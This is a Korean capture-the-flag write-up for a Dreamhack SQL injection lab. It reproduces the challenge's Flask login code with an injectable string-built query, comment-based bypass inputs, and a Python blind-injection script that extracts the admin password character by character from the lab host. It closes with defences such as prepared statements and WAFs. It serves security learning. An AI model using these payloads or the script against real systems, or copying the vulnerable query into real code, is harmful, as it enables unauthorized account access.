๋ณธ๋ฌธ ๋ฐ”๋กœ๊ฐ€๊ธฐ
[Dreamhack]WebHacking/๋กœ๋“œ๋งต_Basic

[Dreamhack] Level1: simple_sqli

by Yun2๐Ÿ‘ 2023. 8. 22.
๋ฐ˜์‘ํ˜•

๐Ÿ›Ž๏ธAccess

๋กœ๊ทธ์ธ ์„œ๋น„์Šค์—์„œ SQL injection ์ทจ์•ฝ์ ์„ ํ†ตํ•ด ํ”Œ๋ž˜๊ทธ๋ฅผ ํš๋“ํ•˜๋Š” ๋ฌธ์ œ์ด๋‹ค.
ํ”Œ๋ž˜๊ทธ๋Š” flag.txt, FLAG ๋ณ€์ˆ˜์— ์žˆ๋‹ค.

 

 

๐Ÿ‘พExploit Algorithm & Payload

๋”๋ณด๊ธฐ
#!/usr/bin/python3
from flask import Flask, request, render_template, g
import sqlite3
import os
import binascii

app = Flask(__name__)
app.secret_key = os.urandom(32)

try:
    FLAG = open('./flag.txt', 'r').read()
except:
    FLAG = '[**FLAG**]'

DATABASE = "database.db"
if os.path.exists(DATABASE) == False:
    db = sqlite3.connect(DATABASE)
    db.execute('create table users(userid char(100), userpassword char(100));')
    db.execute(f'insert into users(userid, userpassword) values ("guest", "guest"), ("admin", "{binascii.hexlify(os.urandom(16)).decode("utf8")}");')
    db.commit()
    db.close()

def get_db():
    db = getattr(g, '_database', None)
    if db is None:
        db = g._database = sqlite3.connect(DATABASE)
    db.row_factory = sqlite3.Row
    return db

def query_db(query, one=True):
    cur = get_db().execute(query)
    rv = cur.fetchall()
    cur.close()
    return (rv[0] if rv else None) if one else rv

@app.teardown_appcontext
def close_connection(exception):
    db = getattr(g, '_database', None)
    if db is not None:
        db.close()

@app.route('/')
def index():
    return render_template('index.html')

@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'GET':
        return render_template('login.html')
    else:
        userid = request.form.get('userid')
        userpassword = request.form.get('userpassword')
        res = query_db(f'select * from users where userid="{userid}" and userpassword="{userpassword}"')
        if res:
            userid = res[0]
            if userid == 'admin':
                return f'hello {userid} flag is {FLAG}'
            return f'<script>alert("hello {userid}");history.go(-1);</script>'
        return '<script>alert("wrong");history.go(-1);</script>'

app.run(host='0.0.0.0', port=8000)

 

 

#1


 

: '/login' ํŽ˜์ด์ง€์—์„œ SQLi(SQL Injection) ๊ณต๊ฒฉ์œผ๋กœ ํŠน์ • ์‚ฌ์šฉ์ž(admin)๋กœ ๋กœ๊ทธ์ธํ•˜์—ฌ FLAG๋ฅผ ํš๋“ํ•˜๋Š” ๋ฌธ์ œ์ธ ๊ฒƒ์œผ๋กœ ์˜ˆ์ƒ๋œ๋‹ค.

 

 

#2


DATABASE = "database.db"
if os.path.exists(DATABASE) == False:
    db = sqlite3.connect(DATABASE)
    db.execute('create table users(userid char(100), userpassword char(100));')
    db.execute(f'insert into users(userid, userpassword) values ("guest", "guest"), ("admin", "{binascii.hexlify(os.urandom(16)).decode("utf8")}");')
    db.commit()
    db.close()

: ๊ณ„์ •์€ ๋‘๊ฐ€์ง€๊ฐ€ ์žˆ๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

1. [userid:guest, userpassword:guest] ๋ผ๋Š” ์‚ฌ์šฉ์ž ๊ณ„์ •

2. [userid:admin, userpassword:{binascii.hexlify(os.urandom(16)).decode("utf8")}] ๋ผ๋Š” ๊ด€๋ฆฌ์ž ๊ณ„์ •
(๋กœ๊ทธ์ธ ์‹œ FLAG๋ฅผ ํš๋“ํ•  ์ˆ˜ ์žˆ๋Š” ๊ฒƒ์œผ๋กœ ๋ณด์ธ๋‹ค.)

: admin ๊ณ„์ •์˜ ๋น„๋ฐ€๋ฒˆํ˜ธ๋Š”{binascii.hexlify(os.urandom(16)).decode("utf8")}๋กœ 16๋ฐ”์ดํŠธ ๋ฌธ์ž์—ด์„ ์ƒ์„ฑํ•œ ๋‹ค์Œ ํ•ด๋‹น ์ด์ง„ ๋ฐ์ดํ„ฐ๋ฅผ 16์ง„์ˆ˜ ํ‘œํ˜„์œผ๋กœ ๋ณ€ํ™˜ํ•˜๊ณ  ๋งˆ์ง€๋ง‰์œผ๋กœ ํ•ด๋‹น 16์ง„์ˆ˜ ํ‘œํ˜„์„ UTF-8 ๋ฌธ์ž์—ด๋กœ ๋””์ฝ”๋”ฉํ•œ ๋น„๋ฐ€๋ฒˆํ˜ธ์ž„์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

 

#์ •์ƒ ๋กœ๊ทธ์ธ
userid: guest
userpassword: guest

#๊ณ„์ •์˜ userid๋ฅผ ์ž…๋ ฅํ•˜๊ณ  ๋”๋ธ”์ฟผํ„ฐ(")๋ฅผ ์ด์šฉํ•˜์—ฌ ์ฟผ๋ฆฌ๋ฌธ์„ ๋‹ซ์€ ํ›„ ์ฃผ์„์ฒ˜๋ฆฌ(--) 
userid: guest" --
userpassword: 1

#๊ณ„์ •์˜ userid๋ฅผ ์ž…๋ ฅํ•˜๊ณ  ๋”๋ธ”์ฟผํ„ฐ(")๋ฅผ ์ด์šฉํ•˜์—ฌ ์ฟผ๋ฆฌ๋ฌธ์„ ๋‹ซ์€ ํ›„ and ์—ฐ์‚ฐ์ž๋ฅผ ์ด์šฉํ•˜์—ฌ userpassword๋ฅผ ์ž…๋ ฅํ•˜๊ณ  ์ฃผ์„์ฒ˜๋ฆฌ(--). ์ฆ‰, userpassword ์ž…๋ ฅ ์นธ์— ์ž…๋ ฅ ์—†์ด ์‘๋‹ต์„ ํ™•์ธ  
userid: guest" and userpassword="guest" --
userpassword: 1


: guest ๊ณ„์ • ๋กœ๊ทธ์ธ ์‹œ ๋‹ค์–‘ํ•œ ์‹œ๋„๋ฅผ ํ•ด๋ณผ ์ˆ˜ ์žˆ๋‹ค.

: select * from users where userid="{userid}" and userpassword="{userpassword}"์˜ ํ˜•ํƒœ๋กœ DB์—์„œ ๊ณ„์ •์„ ํ™•์ธํ•˜๋Š”๋ฐ select * from users where userid="guest" --" and userpassword="{userpassword}" ์ด ๊ฐ’์„ ๋‹ค์Œ๊ณผ ๊ฐ™์ด ์‚ฝ์ž…ํ•˜๊ฒŒ ๋˜๋ฉด ๋’ค์— ํŒจ์Šค์›Œ๋“œ ํ™•์ธ ๋ถ€๋ถ„์ด ์ฃผ์„ ์ฒ˜๋ฆฌ๊ฐ€ ๋ผ๋ฒ„๋ฆฐ๋‹ค.

: ๋”ฐ๋ผ์„œ ์ฟผ๋ฆฌ๋ฌธ์ด ์ฐธ์œผ๋กœ ๋™์ž‘ํ•˜์—ฌ ๋กœ๊ทธ์ธ ๋˜๋Š” ๊ฒƒ์ด๋‹ค.

 

#3


: ์ด๋ฅผ ํ†ตํ•ด admin ๊ณ„์ •์œผ๋กœ ๋กœ๊ทธ์ธ ์‹œ๋„ํ•˜์—ฌ FLAG๋ฅผ ํš๋“ ํ•  ์ˆ˜ ์žˆ๋‹ค.

 

 

๐Ÿ”‘Analysis and results for obtaining the Flag DH{…}


 

 

[+] Additional Check


1. 

๋”๋ณด๊ธฐ
import requests
import string

url = 'http://host3.dreamhack.games:9487/login' #URL cord
#'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~'
#string.ascii_letters + string.digits + string.punctuation
#abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789
target_chars = 'abcdefghijklmnopqrstuvwxyz0123456789'
confirmed_password = '' #End User Password

pwd_len = 0 #password len value
while(1):
    payload = f'admin" and length(userpassword)={pwd_len} --'
    data = {
        'userid': payload,
        'userpassword': ''
    }        
    response = requests.post(url, data=data)
    #print(f'len-> {pwd_len}')
    if 'wrong' in response.text: 
        pwd_len +=1
    else:
        break
    
        
print(f'[*] pwd_len: {pwd_len}')



for i in range(1, pwd_len+1):
    for c in target_chars:
        payload = f'admin" and substr(userpassword, {i}, 1) = "{c}" --'
        data = {
            'userid': payload,
            'userpassword': ''
        }        
        #password injection ์„ฑ๊ณต ์ผ€์ด์Šค ํ™•์ธ์šฉ
        #print(f'case{i}: injection->{c}')
        
        #url์— POST ์š”์ฒญ ๋ณด๋ƒ„
        response = requests.post(url, data=data) 
        #print(response.request.url)
        #print(response.text)
        #response ๊ฒฐ๊ณผ(์ฆ‰, ์š”์ฒญ์„ ๋ณด๋‚ด๊ณ  ์‘๋‹ต์„ ๋ฐ›์€ ํ›„ ์ฝ”๋“œ๋Š” ์‘๋‹ต ํ…์ŠคํŠธ์— 'hello admin' ๋ฌธ์ž์—ด์ด ์žˆ๋Š”์ง€ ํ™•์ธ)
        if 'hello admin' in response.text: 
            confirmed_password += c
            #print(confirmed_password)
            break

print(f"[*] admin password: {confirmed_password}") #admin password : 0ecca12d582cc4ad34673170d2872294

: "hello admin flag is DH{c1126c8d35d8deaa39c5dd6fc8855ed0}" ์„ ํ™•์ธํ–ˆ๋Š”๋ฐ, ๊ด€๋ฆฌ์ž ๊ณ„์ •์˜ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ์•Œ์•„๋‚ด๊ณ  ์‹ถ์–ด์„œ a-z, A-Z, 0-9์˜ ์กฐํ•ฉ์„ ์ด์šฉํ•ด substr(userpassword,1,1) = "{ }" -- ์ค‘๊ด„ํ˜ธ ๋ถ€๋ถ„์— ๋น„๋ฐ€๋ฒˆํ˜ธ๋กœ ์ถ”์ •๋˜๋Š” ๊ฐ’๋“ค์„ ๋ชจ์กฐ๋ฆฌ ์‚ฝ์ž…ํ–ˆ๋‹ค.

 : ๊ทธ ๊ฒฐ๊ณผ admin" and substr(userpassword,1,1)="0" -- 0์˜ ๊ฐ’์—์„œ ๋‹ค๋ฅธ ๋ฐ˜์‘๋“ค(wrong)๊ณผ๋Š” ๋‹ค๋ฅธ ๋ฐ˜์‘(hello admin flag is DH{...})์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ์—ˆ๋‹ค.

: ๋”ฐ๋ผ์„œ python ๋ชจ๋“ˆ์„ ์ด์šฉํ•˜์—ฌ ๊ด€๋ฆฌ์ž ๊ณ„์ •์˜ exploit ์ฝ”๋“œ๋ฅผ ์ž‘์„ฑํ•˜์—ฌ ๊ด€๋ฆฌ์ž ๊ฒŒ์ •์— ๋กœ๊ทธ์ธํ•  ์ˆ˜ ์žˆ์—ˆ๋‹ค.

: ์ด์™ธ์—๋„ ๋‹ค์–‘ํ•œ ์ต์Šคํ”Œ๋กœ์ž‡ ์ฝ”๋“œ๋ฅผ ์ž‘์„ฑํ•  ์ˆ˜ ์žˆ์„ ๊ฒƒ์œผ๋กœ ์˜ˆ์ƒ๋œ๋‹ค. (ascii(substr(userpassword,1,1))), ...)

 

2.

: curl ๋ช…๋ น์„ ์ด์šฉํ•˜์—ฌ ์›น ์‚ฌ์ดํŠธ๊ฐ€ ์žˆ๋Š”์ง€ ํ™•์ธํ•˜๊ณ  ์›น ์‚ฌ์ดํŠธ๋ฅผ ๋ถ„์„ํ•˜์˜€๋‹ค.

: burp suite ๋„๊ตฌ๋กœ POST ๋ฐฉ์‹์œผ๋กœ ๋กœ๊ทธ์ธ ํŽ˜์ด์ง€๊ฐ€ ๋™์ž‘ํ•œ๋‹ค๋Š” ๊ฒƒ์„ ํŒŒ์•…ํ•˜๊ณ  sqlmap(์ž๋™ํ™” ๋„๊ตฌ)์„ ์ด์šฉํ•˜์—ฌ DB connection์„ ์‹œ๋„ํ•˜์˜€๋‹ค.

: ํ•˜์ง€๋งŒ ๊ณ„์ •์˜ ๊ฐ’์„ ์–ป์„ ์ˆœ ์—†์—ˆ๋‹ค. (WAF์™€ ๊ฐ™์€ ์ผ๋ถ€ ์„œ๋ฒ„ ์ธก ๋ณดํ˜ธ๊ฐ€ ์žˆ๋‹ค๋Š” ๊ฒƒ์œผ๋กœ ์ง์ž‘ํ•˜์˜€๋‹ค.)

 

 

๐Ÿ“ŒSummary


์‚ฌ์šฉ์ž ์ž…๋ ฅ ๊ฐ’์— ์‹คํ–‰ ์ฟผ๋ฆฌ๋ฌธ์ด ๋™์ž‘๋  ๊ฒฝ์šฐ ๊ถŒํ•œ ์ƒ์Šน ๋ฐ ํƒˆ์ทจ๊ฐ€ ๊ฐ€๋Šฅํ•จ

- SQL Injection์ทจ์•ฝ์ ์˜ ๋Œ€์‘ ๋ฐฉ์•ˆ -
SQL๋ฌธ ๋ฐ์ดํ„ฐ๋ฅผ ์ฒ˜๋ฆฌํ•  ๋•Œ ์ฟผ๋ฆฌ๋ฌธ์„ ์ง์ ‘ ์ƒ์„ฑํ•˜๋Š” Statement ๋ฐฉ์‹์ด ์•„๋‹Œ Prepared Statemen์™€ Object Relational Mapping(ORM)์„ ์ด์šฉํ•˜์—ฌ ๋™์  ์ฟผ๋ฆฌ๊ฐ€ ์ „๋‹ฌ๋˜๋ฉด ๋‚ด๋ถ€์ ์œผ๋กœ ์ฟผ๋ฆฌ ๋ถ„์„์„ ์ˆ˜ํ–‰ํ•ด ์•ˆ์ „ํ•œ ์ฟผ๋ฆฌ๋ฌธ์ด ๋™์ž‘์ด ํ•„์š”

(๋‹จ, ์ด๋ฏธ ๊ธฐ์—…์—์„œ ๋ชจ๋“  ํŽ˜์ด์ง€๋ฅผ Statement๋กœ ๋™์  ํŽ˜์ด์ง€๋ฅผ ์‚ฌ์šฉํ•˜๊ณ  ์žˆ์–ด Prepared๋ฌธ์„  ์‚ฌ์šฉํ•  ์ˆ˜ ์—†๊ฑฐ๋‚˜, ๊ฐ€์šฉ์„ฑ ๋ฌธ์ œ๋ฅผ ์ผ์œผํ‚ฌ ์ˆ˜ ์žˆ์„ ๊ฒฝ์šฐ ๋‹ค์–‘ํ•œ ๋Œ€์ฑ…์ด ํ•„์š”ํ•จ)

| ํ™”์ดํŠธ๋ฆฌ์ŠคํŠธ ๋ฐฉ์‹ or ๋ธ”๋ž™๋ฆฌ์ŠคํŠธ ๋ฐฉ์‹์œผ๋กœ ๋ฌธ์ž์—ด ์œ ํšจ์„ฑ ๊ฒ€์‚ฌ ๊ตฌํ˜„ |
์ด๋ฅผ ํ†ตํ•ด ์•…์„ฑ ์ž…๋ ฅ์ด ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์— ๋„๋‹ฌํ•˜๊ธฐ ์ „์— ๊ฐ์ง€ํ•˜๊ณ  ์ฐจ๋‹จ
(๊ฒ€์ฆ ๋ฐ ํ•„ํ„ฐ๋ง ๋กœ์ง ๊ตฌํ˜„)

| WAF ๊ตฌ์ถ• |
์›น ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ๋ฐฉํ™”๋ฒฝ์„ ๊ตฌ์ถ•ํ•˜์—ฌ ๋“ค์–ด์˜ค๋Š” ์š”์ฒญ ๊ฐ’์„ ๊ฒ€์‚ฌํ•˜๊ณ  ํ•„ํ„ฐ๋งํ•˜์—ฌ ์•Œ๋ ค์ง„ SQL ์ฃผ์ž… ํŒจํ„ด๊ณผ ์˜์‹ฌ์Šค๋Ÿฌ์šด ํ™œ๋™์„ ์ฐจ๋‹จ

| ์—๋Ÿฌ ๋ฉ”์‹œ์ง€ ๋ฐ DBMS์—์„œ ์ œ๊ณตํ•˜๋Š” ์—๋Ÿฌ ์ฝ”๋“œ๊ฐ€ ๋…ธ์ถœ๋˜์ง€ ์•Š๋„๋ก ์˜ˆ์™ธ์ฒ˜๋ฆฌ| 


๋‹ค์–‘ํ•œ ์šฐํšŒ ๊ธฐ๋ฒ•์„ ํ™•์ธํ•˜์—ฌ ์ƒํ™ฉ์— ๋งž๋Š” ๋Œ€์‘ ๋ฐฉ์•ˆ์ด ํ•„์š”ํ•จ

๋ฐ˜์‘ํ˜•

'[Dreamhack]WebHacking > ๋กœ๋“œ๋งต_Basic' ์นดํ…Œ๊ณ ๋ฆฌ์˜ ๋‹ค๋ฅธ ๊ธ€

[Dreamhack] Level1: command-injection-1  (0) 2023.08.24
[Dreamhack] Level2: Mango  (0) 2023.08.23
[Dreamhack] Level1: csrf-2  (0) 2023.08.21
[Dreamhack] Level1: csrf-1  (0) 2023.08.21
[Dreamhack] Level1: xss-2  (0) 2023.08.19